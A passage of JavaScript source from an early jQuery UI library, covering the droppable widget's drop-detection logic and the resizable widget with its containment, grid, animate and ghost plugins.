            $.ui.ddmanager.droppables.push(this);
        },
        plugins: {},
        ui: function(c) {
            return {
                draggable: (c.currentItem || c.element),
                helper: c.helper,
                position: c.position,
                absolutePosition: c.positionAbs,
                options: this.options,
                element: this.element
            };
        },
        destroy: function() {
            var drop = $.ui.ddmanager.droppables;
            for (var i = 0; i < drop.length; i++)
            if (drop[i] == this) drop.splice(i, 1);
            this.element.removeClass("ui-droppable ui-droppable-disabled").removeData("droppable").unbind(".droppable");
        },
        over: function(e) {
            var draggable = $.ui.ddmanager.current;
            if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return;
            if (this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
                $.ui.plugin.call(this, 'over', [e, this.ui(draggable)]);
                this.element.triggerHandler("dropover", [e, this.ui(draggable)], this.options.over);
            }
        },
        out: function(e) {
            var draggable = $.ui.ddmanager.current;
            if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return;
            if (this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
                $.ui.plugin.call(this, 'out', [e, this.ui(draggable)]);
                this.element.triggerHandler("dropout", [e, this.ui(draggable)], this.options.out);
            }
        },
        drop: function(e, custom) {
            var draggable = custom || $.ui.ddmanager.current;
            if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return false;
            var childrenIntersection = false;
            this.element.find(".ui-droppable").not(".ui-draggable-dragging").each(function() {
                var inst = $.data(this, 'droppable');
                if (inst.options.greedy && $.ui.intersect(draggable, $.extend(inst, {
                    offset: inst.element.offset()
                }), inst.options.tolerance)) {
                    childrenIntersection = true;
                    return false;
                }
            });
            if (childrenIntersection) return false;
            if (this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
                $.ui.plugin.call(this, 'drop', [e, this.ui(draggable)]);
                this.element.triggerHandler("drop", [e, this.ui(draggable)], this.options.drop);
                return true;
            }
            return false;
        },
        activate: function(e) {
            var draggable = $.ui.ddmanager.current;
            $.ui.plugin.call(this, 'activate', [e, this.ui(draggable)]);
            if (draggable) this.element.triggerHandler("dropactivate", [e, this.ui(draggable)], this.options.activate);
        },
        deactivate: function(e) {
            var draggable = $.ui.ddmanager.current;
            $.ui.plugin.call(this, 'deactivate', [e, this.ui(draggable)]);
            if (draggable) this.element.triggerHandler("dropdeactivate", [e, this.ui(draggable)], this.options.deactivate);
        }
    });
    $.extend($.ui.droppable, {
        defaults: {
            disabled: false,
            tolerance: 'intersect'
        }
    });
    $.ui.intersect = function(draggable, droppable, toleranceMode) {
        if (!droppable.offset) return false;
        var x1 = (draggable.positionAbs || draggable.position.absolute).left,
            x2 = x1 + draggable.helperProportions.width,
            y1 = (draggable.positionAbs || draggable.position.absolute).top,
            y2 = y1 + draggable.helperProportions.height;
        var l = droppable.offset.left,
            r = l + droppable.proportions.width,
            t = droppable.offset.top,
            b = t + droppable.proportions.height;
        switch (toleranceMode) {
        case 'fit':
            return (l < x1 && x2 < r && t < y1 && y2 < b);
            break;
        case 'intersect':
            return (l < x1 + (draggable.helperProportions.width / 2) && x2 - (draggable.helperProportions.width / 2) < r && t < y1 + (draggable.helperProportions.height / 2) && y2 - (draggable.helperProportions.height / 2) < b);
            break;
        case 'pointer':
            return (l < ((draggable.positionAbs || draggable.position.absolute).left + (draggable.clickOffset || draggable.offset.click).left) && ((draggable.positionAbs || draggable.position.absolute).left + (draggable.clickOffset || draggable.offset.click).left) < r && t < ((draggable.positionAbs || draggable.position.absolute).top + (draggable.clickOffset || draggable.offset.click).top) && ((draggable.positionAbs || draggable.position.absolute).top + (draggable.clickOffset || draggable.offset.click).top) < b);
            break;
        case 'touch':
            return ((y1 >= t && y1 <= b) || (y2 >= t && y2 <= b) || (y1 < t && y2 > b)) && ((x1 >= l && x1 <= r) || (x2 >= l && x2 <= r) || (x1 < l && x2 > r));
            break;
        default:
            return false;
            break;
        }
    };
    $.ui.ddmanager = {
        current: null,
        droppables: [],
        prepareOffsets: function(t, e) {
            var m = $.ui.ddmanager.droppables;
            var type = e ? e.type : null;
            for (var i = 0; i < m.length; i++) {
                if (m[i].options.disabled || (t && !m[i].options.accept.call(m[i].element, (t.currentItem || t.element)))) continue;
                m[i].visible = m[i].element.css("display") != "none";
                if (!m[i].visible) continue;
                m[i].offset = m[i].element.offset();
                m[i].proportions = {
                    width: m[i].element[0].offsetWidth,
                    height: m[i].element[0].offsetHeight
                };
                if (type == "dragstart" || type == "sortactivate") m[i].activate.call(m[i], e);
            }
        },
        drop: function(draggable, e) {
            var dropped = false;
            $.each($.ui.ddmanager.droppables, function() {
                if (!this.options) return;
                if (!this.options.disabled && this.visible && $.ui.intersect(draggable, this, this.options.tolerance)) dropped = this.drop.call(this, e);
                if (!this.options.disabled && this.visible && this.options.accept.call(this.element, (draggable.currentItem || draggable.element))) {
                    this.isout = 1;
                    this.isover = 0;
                    this.deactivate.call(this, e);
                }
            });
            return dropped;
        },
        drag: function(draggable, e) {
            if (draggable.options.refreshPositions) $.ui.ddmanager.prepareOffsets(draggable, e);
            $.each($.ui.ddmanager.droppables, function() {
                if (this.options.disabled || this.greedyChild || !this.visible) return;
                var intersects = $.ui.intersect(draggable, this, this.options.tolerance);
                var c = !intersects && this.isover == 1 ? 'isout' : (intersects && this.isover == 0 ? 'isover' : null);
                if (!c) return;
                var parentInstance;
                if (this.options.greedy) {
                    var parent = this.element.parents('.ui-droppable:eq(0)');
                    if (parent.length) {
                        parentInstance = $.data(parent[0], 'droppable');
                        parentInstance.greedyChild = (c == 'isover' ? 1 : 0);
                    }
                }
                if (parentInstance && c == 'isover') {
                    parentInstance['isover'] = 0;
                    parentInstance['isout'] = 1;
                    parentInstance.out.call(parentInstance, e);
                }
                this[c] = 1;
                this[c == 'isout' ? 'isover' : 'isout'] = 0;
                this[c == "isover" ? "over" : "out"].call(this, e);
                if (parentInstance && c == 'isout') {
                    parentInstance['isout'] = 0;
                    parentInstance['isover'] = 1;
                    parentInstance.over.call(parentInstance, e);
                }
            });
        }
    };
    $.ui.plugin.add("droppable", "activeClass", {
        activate: function(e, ui) {
            $(this).addClass(ui.options.activeClass);
        },
        deactivate: function(e, ui) {
            $(this).removeClass(ui.options.activeClass);
        },
        drop: function(e, ui) {
            $(this).removeClass(ui.options.activeClass);
        }
    });
    $.ui.plugin.add("droppable", "hoverClass", {
        over: function(e, ui) {
            $(this).addClass(ui.options.hoverClass);
        },
        out: function(e, ui) {
            $(this).removeClass(ui.options.hoverClass);
        },
        drop: function(e, ui) {
            $(this).removeClass(ui.options.hoverClass);
        }
    });
})(jQuery);
(function($) {
    $.widget("ui.resizable", $.extend({}, $.ui.mouse, {
        init: function() {
            var self = this,
                o = this.options;
            var elpos = this.element.css('position');
            this.originalElement = this.element;
            this.element.addClass("ui-resizable").css({
                position: /static/.test(elpos) ? 'relative' : elpos
            });
            $.extend(o, {
                _aspectRatio: !! (o.aspectRatio),
                helper: o.helper || o.ghost || o.animate ? o.helper || 'proxy' : null,
                knobHandles: o.knobHandles === true ? 'ui-resizable-knob-handle' : o.knobHandles
            });
            var aBorder = '1px solid #DEDEDE';
            o.defaultTheme = {
                'ui-resizable': {
                    display: 'block'
                },
                'ui-resizable-handle': {
                    position: 'absolute',
                    background: '#F2F2F2',
                    fontSize: '0.1px'
                },
                'ui-resizable-n': {
                    cursor: 'n-resize',
                    height: '4px',
                    left: '0px',
                    right: '0px',
                    borderTop: aBorder
                },
                'ui-resizable-s': {
                    cursor: 's-resize',
                    height: '4px',
                    left: '0px',
                    right: '0px',
                    borderBottom: aBorder
                },
                'ui-resizable-e': {
                    cursor: 'e-resize',
                    width: '4px',
                    top: '0px',
                    bottom: '0px',
                    borderRight: aBorder
                },
                'ui-resizable-w': {
                    cursor: 'w-resize',
                    width: '4px',
                    top: '0px',
                    bottom: '0px',
                    borderLeft: aBorder
                },
                'ui-resizable-se': {
                    cursor: 'se-resize',
                    width: '4px',
                    height: '4px',
                    borderRight: aBorder,
                    borderBottom: aBorder
                },
                'ui-resizable-sw': {
                    cursor: 'sw-resize',
                    width: '4px',
                    height: '4px',
                    borderBottom: aBorder,
                    borderLeft: aBorder
                },
                'ui-resizable-ne': {
                    cursor: 'ne-resize',
                    width: '4px',
                    height: '4px',
                    borderRight: aBorder,
                    borderTop: aBorder
                },
                'ui-resizable-nw': {
                    cursor: 'nw-resize',
                    width: '4px',
                    height: '4px',
                    borderLeft: aBorder,
                    borderTop: aBorder
                }
            };
            o.knobTheme = {
                'ui-resizable-handle': {
                    background: '#F2F2F2',
                    border: '1px solid #808080',
                    height: '8px',
                    width: '8px'
                },
                'ui-resizable-n': {
                    cursor: 'n-resize',
                    top: '0px',
                    left: '45%'
                },
                'ui-resizable-s': {
                    cursor: 's-resize',
                    bottom: '0px',
                    left: '45%'
                },
                'ui-resizable-e': {
                    cursor: 'e-resize',
                    right: '0px',
                    top: '45%'
                },
                'ui-resizable-w': {
                    cursor: 'w-resize',
                    left: '0px',
                    top: '45%'
                },
                'ui-resizable-se': {
                    cursor: 'se-resize',
                    right: '0px',
                    bottom: '0px'
                },
                'ui-resizable-sw': {
                    cursor: 'sw-resize',
                    left: '0px',
                    bottom: '0px'
                },
                'ui-resizable-nw': {
                    cursor: 'nw-resize',
                    left: '0px',
                    top: '0px'
                },
                'ui-resizable-ne': {
                    cursor: 'ne-resize',
                    right: '0px',
                    top: '0px'
                }
            };
            o._nodeName = this.element[0].nodeName;
            if (o._nodeName.match(/canvas|textarea|input|select|button|img/i)) {
                var el = this.element;
                if (/relative/.test(el.css('position')) && $.browser.opera) el.css({
                    position: 'relative',
                    top: 'auto',
                    left: 'auto'
                });
                el.wrap($('<div class="ui-wrapper" style="overflow: hidden;"></div>').css({
                    position: el.css('position'),
                    width: el.outerWidth(),
                    height: el.outerHeight(),
                    top: el.css('top'),
                    left: el.css('left')
                }));
                var oel = this.element;
                this.element = this.element.parent();
                this.element.data('resizable', this);
                this.element.css({
                    marginLeft: oel.css("marginLeft"),
                    marginTop: oel.css("marginTop"),
                    marginRight: oel.css("marginRight"),
                    marginBottom: oel.css("marginBottom")
                });
                oel.css({
                    marginLeft: 0,
                    marginTop: 0,
                    marginRight: 0,
                    marginBottom: 0
                });
                if ($.browser.safari && o.preventDefault) oel.css('resize', 'none');
                o.proportionallyResize = oel.css({
                    position: 'static',
                    zoom: 1,
                    display: 'block'
                });
                this.element.css({
                    margin: oel.css('margin')
                });
                this._proportionallyResize();
            }
            if (!o.handles) o.handles = !$('.ui-resizable-handle', this.element).length ? "e,s,se" : {
                n: '.ui-resizable-n',
                e: '.ui-resizable-e',
                s: '.ui-resizable-s',
                w: '.ui-resizable-w',
                se: '.ui-resizable-se',
                sw: '.ui-resizable-sw',
                ne: '.ui-resizable-ne',
                nw: '.ui-resizable-nw'
            };
            if (o.handles.constructor == String) {
                o.zIndex = o.zIndex || 1000;
                if (o.handles == 'all') o.handles = 'n,e,s,w,se,sw,ne,nw';
                var n = o.handles.split(",");
                o.handles = {};
                var insertionsDefault = {
                    handle: 'position: absolute; display: none; overflow:hidden;',
                    n: 'top: 0pt; width:100%;',
                    e: 'right: 0pt; height:100%;',
                    s: 'bottom: 0pt; width:100%;',
                    w: 'left: 0pt; height:100%;',
                    se: 'bottom: 0pt; right: 0px;',
                    sw: 'bottom: 0pt; left: 0px;',
                    ne: 'top: 0pt; right: 0px;',
                    nw: 'top: 0pt; left: 0px;'
                };
                for (var i = 0; i < n.length; i++) {
                    var handle = $.trim(n[i]),
                        dt = o.defaultTheme,
                        hname = 'ui-resizable-' + handle,
                        loadDefault = !$.ui.css(hname) && !o.knobHandles,
                        userKnobClass = $.ui.css('ui-resizable-knob-handle'),
                        allDefTheme = $.extend(dt[hname], dt['ui-resizable-handle']),
                        allKnobTheme = $.extend(o.knobTheme[hname], !userKnobClass ? o.knobTheme['ui-resizable-handle'] : {});
                    var applyZIndex = /sw|se|ne|nw/.test(handle) ? {
                        zIndex: ++o.zIndex
                    } : {};
                    var defCss = (loadDefault ? insertionsDefault[handle] : ''),
                        axis = $(['<div class="ui-resizable-handle ', hname, '" style="', defCss, insertionsDefault.handle, '"></div>'].join('')).css(applyZIndex);
                    o.handles[handle] = '.ui-resizable-' + handle;
                    this.element.append(axis.css(loadDefault ? allDefTheme : {}).css(o.knobHandles ? allKnobTheme : {}).addClass(o.knobHandles ? 'ui-resizable-knob-handle' : '').addClass(o.knobHandles));
                }
                if (o.knobHandles) this.element.addClass('ui-resizable-knob').css(!$.ui.css('ui-resizable-knob') ? {} : {});
            }
            this._renderAxis = function(target) {
                target = target || this.element;
                for (var i in o.handles) {
                    if (o.handles[i].constructor == String) o.handles[i] = $(o.handles[i], this.element).show();
                    if (o.transparent) o.handles[i].css({
                        opacity: 0
                    });
                    if (this.element.is('.ui-wrapper') && o._nodeName.match(/textarea|input|select|button/i)) {
                        var axis = $(o.handles[i], this.element),
                            padWrapper = 0;
                        padWrapper = /sw|ne|nw|se|n|s/.test(i) ? axis.outerHeight() : axis.outerWidth();
                        var padPos = ['padding', /ne|nw|n/.test(i) ? 'Top' : /se|sw|s/.test(i) ? 'Bottom' : /^e$/.test(i) ? 'Right' : 'Left'].join("");
                        if (!o.transparent) target.css(padPos, padWrapper);
                        this._proportionallyResize();
                    }
                    if (!$(o.handles[i]).length) continue;
                }
            };
            this._renderAxis(this.element);
            o._handles = $('.ui-resizable-handle', self.element);
            if (o.disableSelection) o._handles.each(function(i, e) {
                $.ui.disableSelection(e);
            });
            o._handles.mouseover(function() {
                if (!o.resizing) {
                    if (this.className) var axis = this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);
                    self.axis = o.axis = axis && axis[1] ? axis[1] : 'se';
                }
            });
            if (o.autoHide) {
                o._handles.hide();
                $(self.element).addClass("ui-resizable-autohide").hover(function() {
                    $(this).removeClass("ui-resizable-autohide");
                    o._handles.show();
                }, function() {
                    if (!o.resizing) {
                        $(this).addClass("ui-resizable-autohide");
                        o._handles.hide();
                    }
                });
            }
            this.mouseInit();
        },
        plugins: {},
        ui: function() {
            return {
                originalElement: this.originalElement,
                element: this.element,
                helper: this.helper,
                position: this.position,
                size: this.size,
                options: this.options,
                originalSize: this.originalSize,
                originalPosition: this.originalPosition
            };
        },
        propagate: function(n, e) {
            $.ui.plugin.call(this, n, [e, this.ui()]);
            if (n != "resize") this.element.triggerHandler(["resize", n].join(""), [e, this.ui()], this.options[n]);
        },
        destroy: function() {
            var el = this.element,
                wrapped = el.children(".ui-resizable").get(0);
            this.mouseDestroy();
            var _destroy = function(exp) {
                    $(exp).removeClass("ui-resizable ui-resizable-disabled").removeData("resizable").unbind(".resizable").find('.ui-resizable-handle').remove();
                };
            _destroy(el);
            if (el.is('.ui-wrapper') && wrapped) {
                el.parent().append($(wrapped).css({
                    position: el.css('position'),
                    width: el.outerWidth(),
                    height: el.outerHeight(),
                    top: el.css('top'),
                    left: el.css('left')
                })).end().remove();
                _destroy(wrapped);
            }
        },
        mouseStart: function(e) {
            if (this.options.disabled) return false;
            var handle = false;
            for (var i in this.options.handles) {
                if ($(this.options.handles[i])[0] == e.target) handle = true;
            }
            if (!handle) return false;
            var o = this.options,
                iniPos = this.element.position(),
                el = this.element,
                num = function(v) {
                    return parseInt(v, 10) || 0;
                },
                ie6 = $.browser.msie && $.browser.version < 7;
            o.resizing = true;
            o.documentScroll = {
                top: $(document).scrollTop(),
                left: $(document).scrollLeft()
            };
            if (el.is('.ui-draggable') || (/absolute/).test(el.css('position'))) {
                var sOffset = $.browser.msie && !o.containment && (/absolute/).test(el.css('position')) && !(/relative/).test(el.parent().css('position'));
                var dscrollt = sOffset ? o.documentScroll.top : 0,
                    dscrolll = sOffset ? o.documentScroll.left : 0;
                el.css({
                    position: 'absolute',
                    top: (iniPos.top + dscrollt),
                    left: (iniPos.left + dscrolll)
                });
            }
            if ($.browser.opera && /relative/.test(el.css('position'))) el.css({
                position: 'relative',
                top: 'auto',
                left: 'auto'
            });
            this._renderProxy();
            var curleft = num(this.helper.css('left')),
                curtop = num(this.helper.css('top'));
            if (o.containment) {
                curleft += $(o.containment).scrollLeft() || 0;
                curtop += $(o.containment).scrollTop() || 0;
            }
            this.offset = this.helper.offset();
            this.position = {
                left: curleft,
                top: curtop
            };
            this.size = o.helper || ie6 ? {
                width: el.outerWidth(),
                height: el.outerHeight()
            } : {
                width: el.width(),
                height: el.height()
            };
            this.originalSize = o.helper || ie6 ? {
                width: el.outerWidth(),
                height: el.outerHeight()
            } : {
                width: el.width(),
                height: el.height()
            };
            this.originalPosition = {
                left: curleft,
                top: curtop
            };
            this.sizeDiff = {
                width: el.outerWidth() - el.width(),
                height: el.outerHeight() - el.height()
            };
            this.originalMousePosition = {
                left: e.pageX,
                top: e.pageY
            };
            o.aspectRatio = (typeof o.aspectRatio == 'number') ? o.aspectRatio : ((this.originalSize.height / this.originalSize.width) || 1);
            if (o.preserveCursor) $('body').css('cursor', this.axis + '-resize');
            this.propagate("start", e);
            return true;
        },
        mouseDrag: function(e) {
            var el = this.helper,
                o = this.options,
                props = {},
                self = this,
                smp = this.originalMousePosition,
                a = this.axis;
            var dx = (e.pageX - smp.left) || 0,
                dy = (e.pageY - smp.top) || 0;
            var trigger = this._change[a];
            if (!trigger) return false;
            var data = trigger.apply(this, [e, dx, dy]),
                ie6 = $.browser.msie && $.browser.version < 7,
                csdif = this.sizeDiff;
            if (o._aspectRatio || e.shiftKey) data = this._updateRatio(data, e);
            data = this._respectSize(data, e);
            this.propagate("resize", e);
            el.css({
                top: this.position.top + "px",
                left: this.position.left + "px",
                width: this.size.width + "px",
                height: this.size.height + "px"
            });
            if (!o.helper && o.proportionallyResize) this._proportionallyResize();
            this._updateCache(data);
            this.element.triggerHandler("resize", [e, this.ui()], this.options["resize"]);
            return false;
        },
        mouseStop: function(e) {
            this.options.resizing = false;
            var o = this.options,
                num = function(v) {
                    return parseInt(v, 10) || 0;
                },
                self = this;
            if (o.helper) {
                var pr = o.proportionallyResize,
                    ista = pr && (/textarea/i).test(pr.get(0).nodeName),
                    soffseth = ista && $.ui.hasScroll(pr.get(0), 'left') ? 0 : self.sizeDiff.height,
                    soffsetw = ista ? 0 : self.sizeDiff.width;
                var s = {
                    width: (self.size.width - soffsetw),
                    height: (self.size.height - soffseth)
                },
                    left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
                    top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
                if (!o.animate) this.element.css($.extend(s, {
                    top: top,
                    left: left
                }));
                if (o.helper && !o.animate) this._proportionallyResize();
            }
            if (o.preserveCursor) $('body').css('cursor', 'auto');
            this.propagate("stop", e);
            if (o.helper) this.helper.remove();
            return false;
        },
        _updateCache: function(data) {
            var o = this.options;
            this.offset = this.helper.offset();
            if (data.left) this.position.left = data.left;
            if (data.top) this.position.top = data.top;
            if (data.height) this.size.height = data.height;
            if (data.width) this.size.width = data.width;
        },
        _updateRatio: function(data, e) {
            var o = this.options,
                cpos = this.position,
                csize = this.size,
                a = this.axis;
            if (data.height) data.width = (csize.height / o.aspectRatio);
            else if (data.width) data.height = (csize.width * o.aspectRatio);
            if (a == 'sw') {
                data.left = cpos.left + (csize.width - data.width);
                data.top = null;
            }
            if (a == 'nw') {
                data.top = cpos.top + (csize.height - data.height);
                data.left = cpos.left + (csize.width - data.width);
            }
            return data;
        },
        _respectSize: function(data, e) {
            var el = this.helper,
                o = this.options,
                pRatio = o._aspectRatio || e.shiftKey,
                a = this.axis,
                ismaxw = data.width && o.maxWidth && o.maxWidth < data.width,
                ismaxh = data.height && o.maxHeight && o.maxHeight < data.height,
                isminw = data.width && o.minWidth && o.minWidth > data.width,
                isminh = data.height && o.minHeight && o.minHeight > data.height;
            if (isminw) data.width = o.minWidth;
            if (isminh) data.height = o.minHeight;
            if (ismaxw) data.width = o.maxWidth;
            if (ismaxh) data.height = o.maxHeight;
            var dw = this.originalPosition.left + this.originalSize.width,
                dh = this.position.top + this.size.height;
            var cw = /sw|nw|w/.test(a),
                ch = /nw|ne|n/.test(a);
            if (isminw && cw) data.left = dw - o.minWidth;
            if (ismaxw && cw) data.left = dw - o.maxWidth;
            if (isminh && ch) data.top = dh - o.minHeight;
            if (ismaxh && ch) data.top = dh - o.maxHeight;
            var isNotwh = !data.width && !data.height;
            if (isNotwh && !data.left && data.top) data.top = null;
            else if (isNotwh && !data.top && data.left) data.left = null;
            return data;
        },
        _proportionallyResize: function() {
            var o = this.options;
            if (!o.proportionallyResize) return;
            var prel = o.proportionallyResize,
                el = this.helper || this.element;
            if (!o.borderDif) {
                var b = [prel.css('borderTopWidth'), prel.css('borderRightWidth'), prel.css('borderBottomWidth'), prel.css('borderLeftWidth')],
                    p = [prel.css('paddingTop'), prel.css('paddingRight'), prel.css('paddingBottom'), prel.css('paddingLeft')];
                o.borderDif = $.map(b, function(v, i) {
                    var border = parseInt(v, 10) || 0,
                        padding = parseInt(p[i], 10) || 0;
                    return border + padding;
                });
            }
            prel.css({
                height: (el.height() - o.borderDif[0] - o.borderDif[2]) + "px",
                width: (el.width() - o.borderDif[1] - o.borderDif[3]) + "px"
            });
        },
        _renderProxy: function() {
            var el = this.element,
                o = this.options;
            this.elementOffset = el.offset();
            if (o.helper) {
                this.helper = this.helper || $('<div style="overflow:hidden;"></div>');
                var ie6 = $.browser.msie && $.browser.version < 7,
                    ie6offset = (ie6 ? 1 : 0),
                    pxyoffset = (ie6 ? 2 : -1);
                this.helper.addClass(o.helper).css({
                    width: el.outerWidth() + pxyoffset,
                    height: el.outerHeight() + pxyoffset,
                    position: 'absolute',
                    left: this.elementOffset.left - ie6offset + 'px',
                    top: this.elementOffset.top - ie6offset + 'px',
                    zIndex: ++o.zIndex
                });
                this.helper.appendTo("body");
                if (o.disableSelection) $.ui.disableSelection(this.helper.get(0));
            } else {
                this.helper = el;
            }
        },
        _change: {
            e: function(e, dx, dy) {
                return {
                    width: this.originalSize.width + dx
                };
            },
            w: function(e, dx, dy) {
                var o = this.options,
                    cs = this.originalSize,
                    sp = this.originalPosition;
                return {
                    left: sp.left + dx,
                    width: cs.width - dx
                };
            },
            n: function(e, dx, dy) {
                var o = this.options,
                    cs = this.originalSize,
                    sp = this.originalPosition;
                return {
                    top: sp.top + dy,
                    height: cs.height - dy
                };
            },
            s: function(e, dx, dy) {
                return {
                    height: this.originalSize.height + dy
                };
            },
            se: function(e, dx, dy) {
                return $.extend(this._change.s.apply(this, arguments), this._change.e.apply(this, [e, dx, dy]));
            },
            sw: function(e, dx, dy) {
                return $.extend(this._change.s.apply(this, arguments), this._change.w.apply(this, [e, dx, dy]));
            },
            ne: function(e, dx, dy) {
                return $.extend(this._change.n.apply(this, arguments), this._change.e.apply(this, [e, dx, dy]));
            },
            nw: function(e, dx, dy) {
                return $.extend(this._change.n.apply(this, arguments), this._change.w.apply(this, [e, dx, dy]));
            }
        }
    }));
    $.extend($.ui.resizable, {
        defaults: {
            cancel: ":input",
            distance: 1,
            delay: 0,
            preventDefault: true,
            transparent: false,
            minWidth: 10,
            minHeight: 10,
            aspectRatio: false,
            disableSelection: true,
            preserveCursor: true,
            autoHide: false,
            knobHandles: false
        }
    });
    $.ui.plugin.add("resizable", "containment", {
        start: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                el = self.element;
            var oc = o.containment,
                ce = (oc instanceof $) ? oc.get(0) : (/parent/.test(oc)) ? el.parent().get(0) : oc;
            if (!ce) return;
            self.containerElement = $(ce);
            if (/document/.test(oc) || oc == document) {
                self.containerOffset = {
                    left: 0,
                    top: 0
                };
                self.containerPosition = {
                    left: 0,
                    top: 0
                };
                self.parentData = {
                    element: $(document),
                    left: 0,
                    top: 0,
                    width: $(document).width(),
                    height: $(document).height() || document.body.parentNode.scrollHeight
                };
            } else {
                self.containerOffset = $(ce).offset();
                self.containerPosition = $(ce).position();
                self.containerSize = {
                    height: $(ce).innerHeight(),
                    width: $(ce).innerWidth()
                };
                var co = self.containerOffset,
                    ch = self.containerSize.height,
                    cw = self.containerSize.width,
                    width = ($.ui.hasScroll(ce, "left") ? ce.scrollWidth : cw),
                    height = ($.ui.hasScroll(ce) ? ce.scrollHeight : ch);
                self.parentData = {
                    element: ce,
                    left: co.left,
                    top: co.top,
                    width: width,
                    height: height
                };
            }
        },
        resize: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                ps = self.containerSize,
                co = self.containerOffset,
                cs = self.size,
                cp = self.position,
                pRatio = o._aspectRatio || e.shiftKey,
                cop = {
                    top: 0,
                    left: 0
                },
                ce = self.containerElement;
            if (ce[0] != document && /static/.test(ce.css('position'))) cop = self.containerPosition;
            if (cp.left < (o.helper ? co.left : cop.left)) {
                self.size.width = self.size.width + (o.helper ? (self.position.left - co.left) : (self.position.left - cop.left));
                if (pRatio) self.size.height = self.size.width * o.aspectRatio;
                self.position.left = o.helper ? co.left : cop.left;
            }
            if (cp.top < (o.helper ? co.top : 0)) {
                self.size.height = self.size.height + (o.helper ? (self.position.top - co.top) : self.position.top);
                if (pRatio) self.size.width = self.size.height / o.aspectRatio;
                self.position.top = o.helper ? co.top : 0;
            }
            var woset = (o.helper ? self.offset.left - co.left : (self.position.left - cop.left)) + self.sizeDiff.width,
                hoset = (o.helper ? self.offset.top - co.top : self.position.top) + self.sizeDiff.height;
            if (woset + self.size.width >= self.parentData.width) {
                self.size.width = self.parentData.width - woset;
                if (pRatio) self.size.height = self.size.width * o.aspectRatio;
            }
            if (hoset + self.size.height >= self.parentData.height) {
                self.size.height = self.parentData.height - hoset;
                if (pRatio) self.size.width = self.size.height / o.aspectRatio;
            }
        },
        stop: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                cp = self.position,
                co = self.containerOffset,
                cop = self.containerPosition,
                ce = self.containerElement;
            var helper = $(self.helper),
                ho = helper.offset(),
                w = helper.innerWidth(),
                h = helper.innerHeight();
            if (o.helper && !o.animate && /relative/.test(ce.css('position'))) $(this).css({
                left: (ho.left - co.left),
                top: (ho.top - co.top),
                width: w,
                height: h
            });
            if (o.helper && !o.animate && /static/.test(ce.css('position'))) $(this).css({
                left: cop.left + (ho.left - co.left),
                top: cop.top + (ho.top - co.top),
                width: w,
                height: h
            });
        }
    });
    $.ui.plugin.add("resizable", "grid", {
        resize: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                cs = self.size,
                os = self.originalSize,
                op = self.originalPosition,
                a = self.axis,
                ratio = o._aspectRatio || e.shiftKey;
            o.grid = typeof o.grid == "number" ? [o.grid, o.grid] : o.grid;
            var ox = Math.round((cs.width - os.width) / (o.grid[0] || 1)) * (o.grid[0] || 1),
                oy = Math.round((cs.height - os.height) / (o.grid[1] || 1)) * (o.grid[1] || 1);
            if (/^(se|s|e)$/.test(a)) {
                self.size.width = os.width + ox;
                self.size.height = os.height + oy;
            } else if (/^(ne)$/.test(a)) {
                self.size.width = os.width + ox;
                self.size.height = os.height + oy;
                self.position.top = op.top - oy;
            } else if (/^(sw)$/.test(a)) {
                self.size.width = os.width + ox;
                self.size.height = os.height + oy;
                self.position.left = op.left - ox;
            } else {
                self.size.width = os.width + ox;
                self.size.height = os.height + oy;
                self.position.top = op.top - oy;
                self.position.left = op.left - ox;
            }
        }
    });
    $.ui.plugin.add("resizable", "animate", {
        stop: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable");
            var pr = o.proportionallyResize,
                ista = pr && (/textarea/i).test(pr.get(0).nodeName),
                soffseth = ista && $.ui.hasScroll(pr.get(0), 'left') ? 0 : self.sizeDiff.height,
                soffsetw = ista ? 0 : self.sizeDiff.width;
            var style = {
                width: (self.size.width - soffsetw),
                height: (self.size.height - soffseth)
            },
                left = (parseInt(self.element.css('left'), 10) + (self.position.left - self.originalPosition.left)) || null,
                top = (parseInt(self.element.css('top'), 10) + (self.position.top - self.originalPosition.top)) || null;
            self.element.animate($.extend(style, top && left ? {
                top: top,
                left: left
            } : {}), {
                duration: o.animateDuration || "slow",
                easing: o.animateEasing || "swing",
                step: function() {
                    var data = {
                        width: parseInt(self.element.css('width'), 10),
                        height: parseInt(self.element.css('height'), 10),
                        top: parseInt(self.element.css('top'), 10),
                        left: parseInt(self.element.css('left'), 10)
                    };
                    if (pr) pr.css({
                        width: data.width,
                        height: data.height
                    });
                    self._updateCache(data);
                    self.propagate("animate", e);
                }
            });
        }
    });
    $.ui.plugin.add("resizable", "ghost", {
        start: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                pr = o.proportionallyResize,
                cs = self.size;
            if (!pr) self.ghost = self.element.clone();
            else self.ghost = pr.clone();
            self.ghost.css({
                opacity: .25,
                display: 'block',
                position: 'relative',
                height: cs.height,
                width: cs.width,
                margin: 0,
                left: 0,
                top: 0
            }).addClass('ui-resizable-ghost').addClass(typeof o.ghost == 'string' ? o.ghost : '');
            self.ghost.appendTo(self.helper);
        },
        resize: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                pr = o.proportionallyResize;
            if (self.ghost) self.ghost.css({
                position: 'relative',
                height: self.size.height,
                width: self.size.width
            });
        },
        stop: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                pr = o.proportionallyResize;
            if (self.ghost && self.helper) self.helper.get(0).removeChild(self.ghost.get(0));
        }
    });
    $.ui.plugin.add("resizable", "alsoResize", {
        start: function(e, ui) {
            var o = ui.options,
                self = $(this).data("resizable"),
                _store = function(exp) {
                    $(exp).each(function() {
                        $(this).data("resizable-alsoresize", {
                            width: parseInt($(this).width(), 10),
                            height: parseInt($(this).height(), 10),
                            left: parseInt($(this).css('left'), 10),
                            top: parseInt($(this).css('top'), 10)
                        });
                    });
                };
            if (typeof(o.alsoResize) == 'object') {
